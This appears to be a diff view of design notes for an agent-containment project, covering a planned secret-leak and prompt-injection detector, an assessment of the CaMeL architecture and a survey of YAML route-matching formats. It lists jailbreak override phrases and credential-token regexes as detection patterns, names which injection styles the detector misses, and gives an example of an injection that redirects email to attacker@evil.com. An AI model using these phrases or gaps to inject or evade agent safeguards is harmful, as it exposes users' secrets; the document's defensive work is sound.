- `token_patterns` — API keys, GitHub tokens, AWS credentials, etc.
- `known_secrets` — Secrets we provisioned (API keys, OAuth tokens passed via cred-proxy)
- `naive_injection_detection` — Semantic attacks on system prompt (see section below)
### Detector design
Three core detectors, each with tunable sensitivity:
1. **Token detector**
- Regex patterns for API keys (AWS `AKIA`, GitHub `ghp_`, etc.)
- Anthropic/OpenAI API keys
- OAuth tokens (Bearer patterns)
- Action: Block immediately with no false-positive tolerance
2. **Entropy detector**
- Shannon entropy threshold (bits/char)
- Flags high-entropy secrets (tunable per-route)
- Current pipelock default: 4.5 bits/char
- Action: Warn or block based on route config
3. **Prompt injection detector** (phase 2)
- Detect attempts to exfiltrate system prompts via LLM outputs
- Pattern: responses containing "system prompt", "instructions", "directive" + credential
- Action: Block or sample for audit
### Advantages over pipelock
| Aspect | Pipelock | Mitmproxy addon |
|--------|----------|-----------------|
| Per-route rules | ❌ (global only) | ✅ (manifest-driven) |
| Response-specific config | ❌ (all-or-nothing) | ✅ (request_only, skip_extensions) |
| Request scanning overhead | ✅ (lightweight) | ~same |
| Maintenance burden | Low (third-party) | High (custom code) |
| Auditability | Closed source | ✅ (in-repo) |
| AI-specific detection | Limited | ✅ (token patterns, prompt injection) |
| Code reuse | None | ✅ (egress addon framework) |
### Disadvantages
1. **Maintenance responsibility** — We own the security logic. Any bugs in detector regexes or entropy thresholds are our problem.
2. **Feature parity gap** — Pipelock's BIP-39 detector is sophisticated. We'd need to decide: replicate it, skip it, or ship a simplified version.
3. **Performance** — Custom Python detectors will be slower than pipelock's Go implementation. Benchmarking needed.
4. **Coverage breadth** — Pipelock covers generic DLP (credit cards, SSNs, etc.). We'd focus narrowly on AI/credential exfil.
## Alternative: Configurable pipelock fork
Rather than build from scratch, fork pipelock and add `response_body_scanning` config:
```yaml
response_body_scanning:
enabled: true
skip_extensions: [".whl", ".tar.gz"]
max_response_bytes: 104857600 # 100MB
```
**Pros:**
- Reuses existing detectors and maturity
- Lower maintenance burden
- Clear path to upstream (could be PR'd)
**Cons:**
- Still maintains a fork
- Pipelock's maintainers may not want global per-host rules
- Go code is farther from our codebase (harder to audit)
- Doesn't solve prompt-injection detection
## Recommendation
**Build the mitmproxy addon** (phase 1: tokens + entropy; phase 2: prompt injection).
**Rationale:**
1. Bot-bottle already owns the mitmproxy egress addon — extending it keeps security logic in-repo and auditable.
2. Per-route DLP configuration aligns with bot-bottle's design (PRD 0017 is already per-route).
3. Replacing pipelock reduces sidecar count and operational surface.
4. AI-specific detectors (tokens, prompt injection) matter more than generic DLP for agent containment.
**Fallback:** If performance testing shows unacceptable latency in the Python addon, revisit the pipelock fork approach.
## Naive prompt injection detector design
Since pipelock doesn't detect prompt injections, we need a custom detector. Here's a permissive design that favors missing attacks over false positives:
### What to detect
**High confidence (block immediately):**
1. Response contains known credential pattern + "system prompt" phrase together
2. Response contains both "instructions" and a token pattern
**Medium confidence (warn):**
1. Response contains prompt-disclosure phrases without credentials (might be innocent documentation)
2. Multiple jailbreak keywords in single response
**Ignore (too noisy):**
- Single jailbreak keywords without additional context
- "system prompt" in documentation contexts
- Common phrases like "instructions provided"
### Naive detector pseudocode
```python
class PromptInjectionDetector:
# Phrases that suggest prompt exfiltration
DISCLOSURE_PHRASES = [
r'(?i)(system\s+prompt|instructions\s+given|your\s+role\s+is|you\s+are\s+an?)',
r'(?i)(original\s+instructions|secret\s+instructions|hidden\s+rules)',
]
# Phrases suggesting jailbreak attempts
JAILBREAK_PHRASES = [
r'(?i)(ignore\s+previous|forget\s+everything|disregard)',
r'(?i)(from\s+now\s+on|pretend|act\s+as)',
r'(?i)(bypass|circumvent|override)',
]
TOKEN_PATTERNS = [
r'AKIA[0-9A-Z]{16}', # AWS
r'ghp_[A-Za-z0-9_]{36}', # GitHub
r'sk_live_[A-Za-z0-9]{24}', # Stripe
r'Bearer\s+[A-Za-z0-9._-]{50,}', # JWT-like tokens
]
def scan_response(self, response_body):
"""Returns (severity, reason) or (None, None) if clean."""
# Rule 1: Disclosure + token = HIGH confidence block
disclosure_found = any(
re.search(phrase, response_body)
for phrase in self.DISCLOSURE_PHRASES
)
token_found = any(
re.search(pattern, response_body)
for pattern in self.TOKEN_PATTERNS
)
if disclosure_found and token_found:
return ("BLOCK", "Prompt disclosure with embedded credential")
# Rule 2: Multiple jailbreak keywords = WARN
jailbreak_count = sum(
1 for phrase in self.JAILBREAK_PHRASES
if re.search(phrase, response_body)
)
if jailbreak_count >= 2:
return ("WARN", f"{jailbreak_count} jailbreak attempts detected")
# Rule 3: Disclosure alone without tokens = WARN only if very explicit
if disclosure_found and "system prompt:" in response_body.lower():
return ("WARN", "Explicit system prompt disclosure")
# Otherwise: clean
return (None, None)
```
### Why this is permissive
1. **Single keywords ignored** — "ignore previous instructions" in a legitimate conversation doesn't trigger
2. **Context required** — disclosure phrases need tokens or multiple jailbreak attempts
3. **Documentation exemption** — "instructions provided" in a help section won't block
4. **Warn vs. block** — Only block on high-confidence signals; warn on medium
5. **No entropy-based guessing** — We don't try to be clever about detecting obfuscated prompts
### False negatives this misses
This detector intentionally lets through:
- Prompt injections using novel phrasing we haven't seen
- Obfuscated jailbreak attempts ("behave differently", "role-play")
- Exfiltration via indirect methods ("describe the system", "what are your constraints")
- Sophisticated attacks that split the prompt across multiple exchanges
**Rationale:** Better to miss a sophisticated jailbreak than block legitimate agent output 100 times/day.
### Per-route configuration
Routes can enable/disable prompt injection scanning:
```yaml
egress:
routes:
- host: api.anthropic.com
dlp:
enabled: true
detectors: [tokens, prompt_injection]
- host: internal-docs.corp
dlp:
enabled: true
detectors: [tokens] # Skip prompt injection (trusted internal)
```
## Implementation phases
### Phase 1: Secret exfiltration detection
**Goal:** Prevent credentials from leaking to upstream services
- **Token patterns detector** — API keys, GitHub tokens, AWS credentials (regex-based)
- **Known secrets detector** — Check if provisioned credentials appear in outbound traffic
- Secrets passed to cred-proxy or agent environment
- Multiple encodings (base64, hex, URL-encoded variants)
- **Outbound scanning by default** — enabled for all routes unless explicitly disabled
- **Per-route config:** `outbound_detectors: [token_patterns, known_secrets]`
- **Action:** Block immediately on token match; warn on entropy threshold (tuned low to avoid false positives)
### Phase 2: Prompt injection detection
**Goal:** Prevent agents from exfiltrating system prompts or being jailbroken
#### Option A: Naive pattern-based detector
- **Naive injection detector** — as sketched above
- **Inbound scanning by default** — enabled for all routes unless explicitly disabled
- **Per-route config:** `inbound_detectors: [naive_injection_detection]`
- **Actions:**
- BLOCK: Credential + prompt disclosure detected
- WARN: Multiple jailbreak keywords or explicit prompt disclosure
- ALLOW: Single keywords or documentation phrases
#### Option B: LLM-based semantic detector
See section below on using a specialized LLM for prompt injection detection.
### Phase 3: Hardening & tuning
- Real-world false positive analysis from Phase 1 & 2
- Rate limiting on DLP blocks
- Audit/sampling mode for flagged responses
- Additional encodings for known_secrets (GZIP, base32, etc.)
## LLM-based prompt injection detection
### Viability analysis
**Tradeoff:** Using an LLM to detect prompt injections is semantically more powerful than regex, but has latency and resource costs.
**Requirements for bot-bottle:**
- Sub-100ms latency (add-on to HTTP proxy, can't block traffic significantly)
- <1GB RAM footprint (runs in sidecar alongside mitmproxy)
- Simple API (classify: safe/injection/suspicious)
- Preferably quantized/distilled (not full-size models)
**Feasibility:** Marginal. Regex patterns are faster, but an LLM could catch sophisticated attacks.
### Existing models
**Purpose-built prompt injection detectors:**
1. **Rebuff.ai's Prompt Injection API** (closed-source, commercial)
- Hosted detection service
- ~50ms per request
- Not viable (external dependency, adds latency)
2. **Microsoft's Presidio** + custom rules
- Entity recognition + PII detection
- Broader than prompt injection
- Would need custom training for jailbreak/disclosure patterns
3. **HuggingFace models:**
- `roberta-large-openai-detector` — detects GPT-2 text (not injections)
- No off-the-shelf model specifically for prompt injection
**Training a custom model:**
- **Data:** Dataset of prompt injection attempts vs. legitimate responses (limited public datasets)
- **Architecture:** Binary classifier (DistilBERT, ALBERT) fine-tuned on injection examples
- **Size:** DistilBERT ~268MB, quantized ~67MB (acceptable footprint)
- **Latency:** ~50-150ms per response on CPU (concerning for proxy)
### Recommendation
**Phase 2a: Use naive pattern detector** (regex-based, sketched above)
- Fast (<5ms per response)
- Low false positives with permissive rules
- No external dependencies
**Phase 2b (optional, if needed): Evaluate LLM approach**
- Collect real-world false negatives from pattern detector
- If sophisticated attacks slip through, consider DistilBERT-based classifier
- Quantize + run locally in sidecar
- Benchmark against 100ms latency budget
- Fall back to patterns if latency unacceptable
**Why not jump to LLM:**
1. Latency: 50-150ms adds significant overhead to every response
2. Complexity: Custom model training needed; no off-the-shelf solution
3. Overkill: Pattern detector catches obvious attacks; sophisticated attacks are rare
4. Unknown unknowns: Adversaries can evade LLM-based detectors via adversarial prompts
### If we do build an LLM detector
```python
# Sketch of LLM-based detection
class LLMPromptInjectionDetector:
def __init__(self):
# Quantized DistilBERT, fine-tuned on injection examples
self.model = load_model("prompt-injection-classifier-q4") # ~67MB
self.tokenizer = load_tokenizer("distilbert-base-uncased")
def scan_response(self, response_body, timeout_ms=100):
"""
Returns: (verdict, confidence)
- verdict: "safe", "suspicious", "injection"
- confidence: 0.0-1.0
"""
try:
# Timeout hard at 100ms to avoid proxy bottleneck
tokens = self.tokenizer.encode(response_body[:2000], truncation=True)
logits = self.model(tokens, timeout=timeout_ms)
injection_score = logits["injection_class"]
if injection_score > 0.9:
return ("injection", injection_score)
elif injection_score > 0.7:
return ("suspicious", injection_score)
else:
return ("safe", injection_score)
except TimeoutError:
# On timeout, fall back to pattern detector
return self.fallback_pattern_detector(response_body)
```
**Deployment questions:**
1. Which LLM framework? (transformers, ONNX, TensorRT?)
2. How to handle out-of-memory on large responses?
3. How to update model if new jailbreak techniques emerge?
4. Should we ensemble: LLM + patterns for high-confidence blocks?
## CaMeL: Architectural prompt injection defense
[CaMeL](https://github.com/google-research/camel-prompt-injection) (CApabilities for MachinE Learning) is a Google DeepMind research project that takes a fundamentally different approach to prompt injection. Rather than *detecting* injections at the network layer (like everything above), CaMeL *prevents* them by architecture — it makes prompt injections structurally unable to cause harm even when the underlying LLM is fully compromised.
### How CaMeL works
CaMeL wraps the agent in a protective execution layer with three components:
1. **Privileged LLM (P-LLM):** Sees ONLY the user's trusted query. Generates a plan as restricted Python code — which tools to call, in what order, with what data flow. Never sees untrusted content (tool outputs, external data).
2. **Quarantined LLM (Q-LLM):** Processes untrusted data (parsing emails, extracting names from documents). Has NO tool access. Even if prompt-injected, it can only return parsed data — it cannot change which tools run or how they're called.
3. **CaMeL interpreter:** Executes the P-LLM's plan, maintains a **data flow graph** tracking every value's provenance (where it came from, who can read it), and enforces **capability-based security policies** before each tool call.
Example flow for "Send Bob the document from our meeting notes":
```
P-LLM generates plan (trusted, no external data):
notes = find_meeting_notes()
doc_name = query_quarantined_llm(f"extract doc name from {notes}")
doc = fetch_document(doc_name)
address = query_quarantined_llm(f"extract Bob's email from {notes}")
send_email(doc, address)
Interpreter executes:
1. find_meeting_notes() → tags result as source:notes, readers:[user]
2. Q-LLM extracts doc name → even if injected, Q-LLM can't call tools
3. fetch_document() → tags result with source:drive
4. Q-LLM extracts email → even if injected to return attacker@evil.com,
the capability check on send_email() catches that `address` came from
an untrusted source and blocks or prompts the user
```
The key insight: **control flow is determined by the trusted P-LLM's code, not by data content**. Untrusted data can never alter which tools run. And capabilities track provenance so that even manipulated *data values* get caught at tool-call time.
### Performance
On AgentDojo benchmark: **77% task completion with provable security guarantees** vs. 84% for an undefended agent. The 7% utility cost comes from the interpreter occasionally being too conservative (blocking legitimate operations where data provenance is ambiguous).
### Integration with bot-bottle: assessment
**CaMeL is NOT a replacement for pipelock or a network-layer DLP scanner.** It operates at a completely different layer — it's an agent execution framework, not a proxy. It wouldn't help with the original problem (scanning `.whl` downloads for credentials).
However, CaMeL is deeply relevant to bot-bottle's broader security model:
| Layer | Current bot-bottle | CaMeL equivalent |
|-------|-------------------|------------------|
| Network egress | Pipelock (hostname allowlist + DLP) | N/A (doesn't operate here) |
| Credential injection | Egress addon (per-route auth) | N/A |
| Tool access control | None (agent has full permissions) | **Capability-based policies** |
| Data provenance | None | **Data flow graph** |
| Control flow integrity | None (agent decides everything) | **P-LLM generates plan, interpreter enforces** |
**What CaMeL would add that bot-bottle lacks today:**
- **Data flow tracking** — bot-bottle controls *which hosts* an agent can reach, but not *what data* flows to those hosts. CaMeL tracks provenance per-value.
- **Tool-call policies** — bot-bottle doesn't restrict which tools an agent calls or what arguments it passes. CaMeL enforces policies at every tool invocation.
- **Separation of planning and execution** — bot-bottle gives the agent full autonomy. CaMeL splits planning (trusted) from data processing (untrusted).
**Why CaMeL is NOT viable for bot-bottle today:**
1. **Research artifact, not production software.** The README explicitly warns: "the interpreter implementation likely contains bugs...and might not be fully secure." Apache-2.0 licensed but no maintenance commitment.
2. **Requires restructuring the agent.** CaMeL doesn't wrap an existing agent — it *replaces* the agent's execution model. Claude Code / Codex would need to be fundamentally rearchitected to generate CaMeL-compatible plans instead of directly calling tools. This is not a drop-in.
3. **LLM overhead.** CaMeL requires two LLM calls per step (P-LLM for planning, Q-LLM for data parsing). For a coding agent that makes hundreds of tool calls per session, this doubles API costs and adds significant latency.
4. **Utility cost.** 7% task completion loss on AgentDojo. For a coding agent where correctness matters, even small degradation in capability could be unacceptable.
5. **Scope mismatch.** CaMeL protects against prompt injection via untrusted data sources. Bot-bottle's primary threat model is credential exfiltration and sandbox escape — different attack surface.
### Verdict
**Don't integrate CaMeL now.** It solves a real problem (prompt injection via data flow manipulation) but at a layer bot-bottle doesn't currently operate at, and with maturity/integration costs that are too high.
**Watch it for the future.** If CaMeL matures into a production-ready library, its capability model could complement bot-bottle's network-layer controls — bot-bottle handles "which hosts can the agent reach" while CaMeL handles "what data can flow to those hosts." The combination would be defense-in-depth across both network and application layers.
**For now, our phases stand:** Phase 1 (outbound secret exfiltration via DLP addon) and Phase 2 (inbound prompt injection via naive pattern detector) address bot-bottle's immediate needs at the network layer where we already operate.
## Open questions
1. **Performance:** How much latency does Python string-matching add? Benchmark against pipelock.
2. **False positives:** Will entropy detector trip on legitimate high-entropy traffic (e.g., binary API responses)? Need real-world testing.
3. **Coverage:** Are regex patterns sufficient, or do we need more sophisticated token detection (e.g., format validation)?
4. **Upstream:** If we build this, should we upstream it as an option to pipelock, or keep it bot-bottle-specific?
5. **CaMeL long-term:** Monitor the project for production readiness. If it stabilizes, evaluate as a complementary application-layer defense alongside our network-layer DLP.
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# YAML route matching formats: paths, headers, and methods
## Question
Bot-bottle's egress manifest currently supports exact-host matching and
a flat list of path prefixes (`path_allowlist`). As the DLP work (PRD 0052)
and future route hardening evolve, we may want more expressive matching:
glob-style path patterns (`/api/*/data`), header predicates (Content-Type,
Accept), and per-method rules (GET allowed, POST blocked). What established
YAML-based formats exist for declaring this kind of route matching, and
which design choices should bot-bottle adopt?
## Summary
Four formats stand out as well-designed, widely deployed references:
**Kubernetes Gateway API `HTTPRoute`**, **Envoy `RouteConfiguration`**,
**AWS ALB listener rules**, and **Traefik dynamic routing**. A fifth,
Istio `VirtualService`, is worth noting but is largely superseded by
Gateway API for new designs.
**Recommendation for bot-bottle:** adopt the Gateway API `HTTPRoute`
match vocabulary as a direct model. It is the most carefully designed of
the four, has a published spec, handles all three requirements cleanly, and
its match object nests naturally into a YAML route block alongside
bot-bottle's existing `host`, `path_allowlist`, and `auth` fields.
Envoy's format is more powerful but far more verbose and harder to
validate by hand; ALB rules use a flat predicate list that does not
compose well; Traefik uses string expressions rather than structured YAML.
## Current bot-bottle route schema
```yaml
egress:
routes:
- host: api.github.com
path_allowlist:
- /repos/myorg/
auth:
scheme: Bearer
token_ref: EGRESS_TOKEN_0
```
Matching today: exact host + path-prefix list. No method or header
awareness.
---
## Format 1: Kubernetes Gateway API `HTTPRoute`
**Spec:** [gateway.networking.k8s.io/v1](https://gateway-api.sigs.k8s.io/reference/spec/#gateway.networking.k8s.io/v1.HTTPRouteMatch)
**Maturity:** GA (v1.0+, 2023). Backed by SIG Network; shipping in GKE,
EKS, AKS, Istio, Envoy Gateway, Cilium, Traefik v3.
### Match object
```yaml
rules:
- matches:
- path:
type: Exact # Exact | PathPrefix | RegularExpression
value: /api/v1/data
headers:
- name: Content-Type
type: Exact # Exact | RegularExpression
value: application/json
queryParams:
- name: version
type: Exact
value: "2"
method: GET # GET | POST | PUT | DELETE | PATCH | …
```
A `matches` entry is a logical AND across all predicates within it. Multiple
entries in the `matches` list are ORed: the rule fires if any entry matches.
### Path matching
| `type` | Semantics |
|--------|-----------|
| `Exact` | Full path must equal `value` (no trailing-slash equivalence) |
| `PathPrefix` | Path must start with `value`; `/api` matches `/api/v1` but not `/apiv1` |
| `RegularExpression` | RE2-syntax regex; implementations may differ on anchoring |
**Glob-style paths (`/api/*/data`):** Gateway API does not define a glob
type. The intent is to use `RegularExpression` for that case:
`/api/[^/]+/data` replaces `/api/*/data`. This is unambiguous and widely
understood.
### Header matching
```yaml
headers:
- name: Content-Type
type: Exact
value: application/json
- name: X-Request-Id
type: RegularExpression
value: "[0-9a-f]{8}-.*"
```
All `headers` entries must match (AND semantics). Missing a header is a
non-match (no "header absent" type in v1; implementations add it as an
extension).
### Method matching
```yaml
method: GET
```
Single method per match entry. To allow GET and POST, use two match
entries (OR semantics at the matches level):
```yaml
matches:
- path:
type: PathPrefix
value: /api/v1
method: GET
- path:
type: PathPrefix
value: /api/v1
method: POST
```
### Strengths / weaknesses
**Strengths:** spec-backed, implementation-tested, composable AND/OR
semantics, explicit about what is not supported (no glob, no header-absent),
good field naming (`type` + `value` pattern is consistent throughout).
**Weaknesses:** verbosity when expressing OR across methods; regex is
the only path wildcard mechanism; no body matching.
---
## Format 2: Envoy `RouteConfiguration`
**Spec:** [envoy.config.route.v3.RouteMatch](https://www.envoyproxy.io/docs/envoy/latest/api-v3/config/route/v3/route_components.proto#config-route-v3-routematch)
**Maturity:** Widely deployed (Istio data plane, AWS App Mesh, solo.io
Gloo). Defined in protobuf; YAML is the human-readable rendering.
### Match object
```yaml
match:
path: /exact/path # exact match
# OR
prefix: /api/ # prefix match
# OR
safe_regex:
google_re2: {}
regex: "/api/v[0-9]+/.*"
# OR
path_separated_prefix: /api/v1 # prefix with segment boundary enforcement
headers:
- name: content-type
string_match:
exact: application/json
# OR
prefix: text/
# OR
safe_regex:
google_re2: {}
regex: "application/(json|xml)"
invert_match: false # negate the predicate
- name: x-custom-header
present_match: true # just check presence
query_parameters:
- name: version
string_match:
exact: "2"
```
Method is matched via a pseudo-header:
```yaml
headers:
- name: :method
string_match:
exact: GET
```
Multiple methods require an OR combinator (`or_match`), available in
Envoy v1.21+:
```yaml
headers:
- name: :method
or_match:
value_matchers:
- string_match:
exact: GET
- string_match:
exact: POST
```
### Path matching
| Field | Semantics |
|-------|-----------|
| `prefix` | Path starts with value (any suffix allowed) |
| `path` | Exact match |
| `safe_regex` | RE2 regex (Google RE2 safety guarantees) |
| `path_separated_prefix` | Like `prefix` but only matches at segment boundaries (`/api/v1` won't match `/api/v10`) |
| `connect_matcher` | CONNECT method only |
Glob (`/api/*/data`): use `safe_regex`: `/api/[^/]+/data`.
### Strengths / weaknesses
**Strengths:** most expressive format surveyed; `invert_match`, `present_match`,
OR combinators, pseudo-header method matching; handles every edge case.
**Weaknesses:** very verbose; protobuf-origin field names are not
self-evident; `or_match` nesting is awkward; hard to validate in a
lightweight schema check; not appropriate as a user-facing YAML format
without a wrapping DSL.
---
## Format 3: AWS ALB Listener Rules
**Spec:** [AWS Elastic Load Balancing API — Conditions](https://docs.aws.amazon.com/elasticloadbalancing/latest/application/load-balancer-listeners.html#rule-condition-types)
**Maturity:** GA, widely used in AWS infrastructure-as-code (CloudFormation,
Terraform `aws_lb_listener_rule`).
### Match object (Terraform / CloudFormation rendering)
```yaml
conditions:
- field: path-pattern
path_pattern_config:
values:
- /api/*
- /health
- field: http-header
http_header_config:
http_header_name: Content-Type
values:
- application/json
- application/x-www-form-urlencoded
- field: http-request-method
http_request_method_config:
values:
- GET
- POST
- field: host-header
host_header_config:
values:
- "*.example.com"
- api.example.com
- field: query-string
query_string_config:
values:
- key: version
value: "2"
```
All conditions in a rule are ANDed. Multiple values within a single
condition are ORed. Up to 5 conditions per rule.
### Path matching
ALB natively supports glob patterns in `path-pattern`:
- `*` matches any sequence of characters (including `/`).
- `?` matches any single character.
This is the only surveyed format with first-class glob support. `/api/*/data`
is valid and unambiguous. No regex support.
### Header matching
Header conditions match against the header value. Multiple values are ORed.
The header name is fixed per condition block; to AND two header predicates,
add two separate `http-header` conditions. Case-insensitive matching on
values.
### Method matching
```yaml
- field: http-request-method
http_request_method_config:
values:
- GET
- POST
```
Multiple values are ORed (GET or POST). Up to 40 methods per rule.
### Strengths / weaknesses
**Strengths:** first-class glob path matching (the only format surveyed
with `*` and `?`); multi-value OR within a condition block is concise for
the common case; method matching is a flat list, easy to write.
**Weaknesses:** maximum 5 conditions per rule; no regex; no header-absent
predicate; no request-body matching; the `field` + `*_config` naming is
awkward (the field name is a string enum that determines which sibling key
is relevant — a schema-validation anti-pattern); tied to AWS semantics
(target groups, priority integers).
---
## Format 4: Traefik Dynamic Routing
**Spec:** [Traefik Router Rule syntax](https://doc.traefik.io/traefik/routing/routers/#rule)
**Maturity:** GA, widely deployed in Kubernetes (IngressRoute CRD) and
Docker-Compose setups. Traefik v3 aligns with Gateway API for Kubernetes
routes but keeps its own expression syntax for the `rule` field.
### Match expression (string, embedded in YAML)
```yaml
http:
routers:
my-router:
rule: >
Host(`api.example.com`) &&
PathPrefix(`/api/v1`) &&
Method(`GET`, `POST`) &&
Header(`Content-Type`, `application/json`)
service: my-service
```
`&&` = AND, `||` = OR. Parentheses for grouping.
Available matchers:
| Matcher | Example |
|---------|---------|
| `Host` | `Host("api.example.com")` |
| `HostRegexp` | `HostRegexp(".*\.example\.com")` |
| `Path` | `Path("/exact/path")` |
| `PathPrefix` | `PathPrefix("/api/v1")` |
| `PathRegexp` | `PathRegexp("/api/v[0-9]+/.*")` |
| `Method` | `Method("GET", "POST")` |
| `Header` | `Header("Content-Type", "application/json")` |
| `HeaderRegexp` | `HeaderRegexp("Accept", "application/.*")` |
| `Query` | `Query("version", "2")` |
| `QueryRegexp` | `QueryRegexp("id", "[0-9]+")` |
| `ClientIP` | `ClientIP("10.0.0.0/8")` |
Glob paths: not supported directly. Use `PathRegexp` instead.
### Strengths / weaknesses
**Strengths:** the most expressive and concise format for complex boolean
combinations (AND/OR/NOT in a single line); `Method("GET", "POST")` is
the cleanest multi-method syntax surveyed; full regex support on every
field; Traefik v3 supports this inside Kubernetes CRDs.
**Weaknesses:** the rule is a *string* embedded in YAML, not a structured
object — it cannot be validated with JSON Schema and is harder to generate
programmatically; no structured round-trip; no glob, only regex.
---
## Comparison table
| | Gateway API | Envoy | AWS ALB | Traefik |
|---|---|---|---|---|
| **Path: exact** | ✅ `Exact` | ✅ `path` | ✅ exact value | ✅ `Path()` |
| **Path: prefix** | ✅ `PathPrefix` | ✅ `prefix` / `path_separated_prefix` | ✅ (via glob `/*`) | ✅ `PathPrefix()` |
| **Path: glob** (`/a/*/b`) | ❌ (use regex) | ❌ (use regex) | ✅ native | ❌ (use regex) |
| **Path: regex** | ✅ `RegularExpression` | ✅ `safe_regex` | ❌ | ✅ `PathRegexp()` |
| **Header: exact** | ✅ | ✅ | ✅ | ✅ |
| **Header: regex** | ✅ | ✅ | ❌ | ✅ |
| **Header: absent** | ❌ (extension) | ✅ `present_match: false` | ❌ | ❌ |
| **Method matching** | ✅ (one per entry; OR via multiple entries) | ✅ (via `:method` pseudo-header) | ✅ (list = OR) | ✅ `Method("GET","POST")` |
| **AND semantics** | predicates within one `matches` entry | all conditions | all `conditions` entries | `&&` operator |
| **OR semantics** | multiple `matches` entries | `or_match` combinator | multiple values in one condition | `\|\|` operator |
| **Schema-validatable** | ✅ (CRD/JSON Schema) | ✅ (protobuf) | ✅ (CloudFormation schema) | ❌ (embedded string) |
| **Human-writable** | ✅ | ⚠️ verbose | ✅ | ✅ |
| **Generatable** | ✅ | ✅ | ✅ | ⚠️ (string concat) |
---
## Design choices worth adopting
### 1. Match object as a structured peer to `host`
Gateway API's separation of concerns maps well onto bot-bottle's existing
schema. Instead of a flat `path_allowlist`, a `match` block nests all
predicates:
```yaml
egress:
routes:
- host: api.github.com
match:
paths:
- type: prefix # exact | prefix | glob | regex
value: /repos/myorg/
headers:
- name: Content-Type
value: application/json
methods: [GET, POST]
auth:
scheme: Bearer
token_ref: EGRESS_TOKEN_0
```
All predicates within `match` are ANDed. A list of `paths` entries is
ORed (first match wins — same as the current `path_allowlist` semantics).
### 2. Path type enum (`exact` | `prefix` | `regex`)
Use three named types rather than inferring from the value's syntax. This
avoids the ambiguity that plagues `.gitignore` and `nginx location` patterns
where the same string can mean different things depending on leading characters.
- `prefix`: mirrors current `path_allowlist` semantics.
- `regex`: RE2 for wildcard and advanced cases. Reject at load time if the
pattern fails to compile. Covers every case glob would handle —
`/api/[^/]+/data` is the `/api/*/data` equivalent.
Glob-style syntax is not included: it adds a third path-matching language
on top of prefix and regex without meaningful operator benefit, since regex
is already required for any non-trivial wildcard.
### 3. Header matching as a list of `{name, value, type}` objects
Mirrors Gateway API exactly. ALL headers must match (AND). `type` defaults
to `exact`; `regex` is available. No header-absent for now (adds complexity,
low immediate need).
```yaml
headers:
- name: Content-Type
value: application/json # type: exact (default)
- name: X-Internal-Key
value: "dev-[0-9]+"
type: regex
```
### 4. Method list as a flat enum list
Adopts ALB's conciseness. An empty or absent `methods` list means all
methods are permitted. Values are uppercased HTTP method names.
```yaml
methods: [GET, HEAD]
```
### 5. Multiple `match` entries per route: OR semantics at the route level
If a route needs GET on one path and POST on a different path, use a
`matches` (plural) list where entries are ORed:
```yaml
routes:
- host: api.example.com
matches:
- paths: [{type: prefix, value: /read}]
methods: [GET, HEAD]
- paths: [{type: exact, value: /write}]
methods: [POST, PUT]
```
This mirrors Gateway API's top-level OR; each entry is an AND of its
predicates.
---
## Decisions
The open questions raised during research were resolved in PR #196 review:
1. **Backward compatibility:** Hard cutover. The new `matches` structure
replaces `path_allowlist` entirely with no compatibility shim and no
fallback parsing for the old format. Manifests using `path_allowlist`
must be migrated.
2. **Glob support:** Dropped. Not strictly necessary — `regex` covers every
case glob would handle. Fewer path-matching languages to document and
validate.
3. **Header value OR:** Stick with Gateway API. OR across header values
requires a separate entry in the `matches` list, not multiple values
inside one `headers` block.
4. **Method name case:** Case-insensitive at parse time. `get`, `GET`, and
`Get` are all accepted and normalised to uppercase internally.
examples/bottles/claude.md
+2
View File
@@ -9,6 +9,8 @@ egress:
auth:
scheme: Bearer
token_ref: BOT_BOTTLE_CLAUDE_OAUTH_TOKEN
pipelock:
tls_passthrough: true
---
Common Claude provider boundary. Drop this file into
pyrightconfig.json
+1 -6
View File
@@ -11,10 +11,5 @@
],
"pythonVersion": "3.11",
"typeCheckingMode": "strict",
"reportMissingTypeStubs": "none",
"reportUnknownMemberType": false,
"reportUnknownParameterType": false,
"reportUnknownVariableType": false,
"reportUnknownArgumentType": false,
"reportPrivateUsage": false
"reportMissingTypeStubs": "none"
}
requirements-dev.txt
-6
View File
@@ -1,6 +0,0 @@
# Development and linting dependencies only.
# The bot-bottle project itself has no runtime dependencies.
# These tools are used for code quality checks in CI/CD.
pylint>=3.0.0
pyright>=1.1.300
tests/README.md
+13 -16
View File
@@ -11,19 +11,16 @@ tests/
fixtures.py # JSON manifest builders (shared)
_docker.py # docker-availability skip helper (shared)
unit/
test_egress.py
test_egress_addon_core.py
test_manifest_egress.py
test_dlp_detectors.py
test_pipelock_classify.py
test_pipelock_allowlist.py
test_pipelock_yaml.py
test_manifest_runtime.py
... # many others; see unit/ directory
integration/
test_sidecar_bundle_image.py
test_sidecar_bundle_compose.py
test_pipelock_sidecar_smoke.py
test_dry_run_plan.py
test_orphan_cleanup.py
...
canaries/ # opt-in; see below (currently empty)
canaries/
test_pipelock_image.py # opt-in; see below
```
Classification falls out of the directory — no hand-maintained list to
@@ -35,7 +32,7 @@ keep in sync.
python -m unittest discover -t . -s tests/unit -v # unit only
python -m unittest discover -t . -s tests/integration -v # integration only
python -m unittest discover -t . -s tests -v # both (recursive)
python -m unittest tests.unit.test_manifest_egress # one file
python -m unittest tests.unit.test_pipelock_yaml # one file
```
Discovery is invoked with `-t .` (top-level dir = repo root) so the
@@ -49,18 +46,18 @@ Discovery is invoked with `-t .` (top-level dir = repo root) so the
- `test_orphan_cleanup.py` — `network_remove` is idempotent against
missing resources, so the EXIT trap can call it unconditionally.
- `test_sidecar_bundle_image.py` — builds Dockerfile.sidecars and
probes that gitleaks / mitmdump / supervise are all reachable
inside the bundle.
probes that pipelock / gitleaks / mitmdump / supervise are all
reachable inside the bundle.
- `test_sidecar_bundle_compose.py` — end-to-end compose-up of an
agent + bundle pair; verifies the agent reaches the bundle via
the legacy network aliases.
## Canaries
`tests/canaries/` holds upstream-regression checks gated on
`tests/canaries/` holds upstream-regression checks (e.g. the pinned
pipelock digest's binary still runs). These are gated on
`BOT_BOTTLE_RUN_CANARIES=1` and not part of the per-push suite.
They're invoked by the scheduled `canaries` workflow. Currently
no canaries are defined.
They're invoked by the scheduled `canaries` workflow.
```bash
BOT_BOTTLE_RUN_CANARIES=1 python -m unittest discover -t . -s tests/canaries -v
@@ -70,7 +67,7 @@ BOT_BOTTLE_RUN_CANARIES=1 python -m unittest discover -t . -s tests/canaries -v
- `bot_bottle/ssh.py` end-to-end (would need a fake SSH host inside
the container).
- A live SSH-through-git-gate tunnel against a real Tailscale-style IP.
- A live SSH-through-pipelock tunnel against a real Tailscale-style IP.
- DLP false-positive measurements.
- TLS handling / cert pinning behavior.
tests/canaries/test_pipelock_image.py
+45
View File
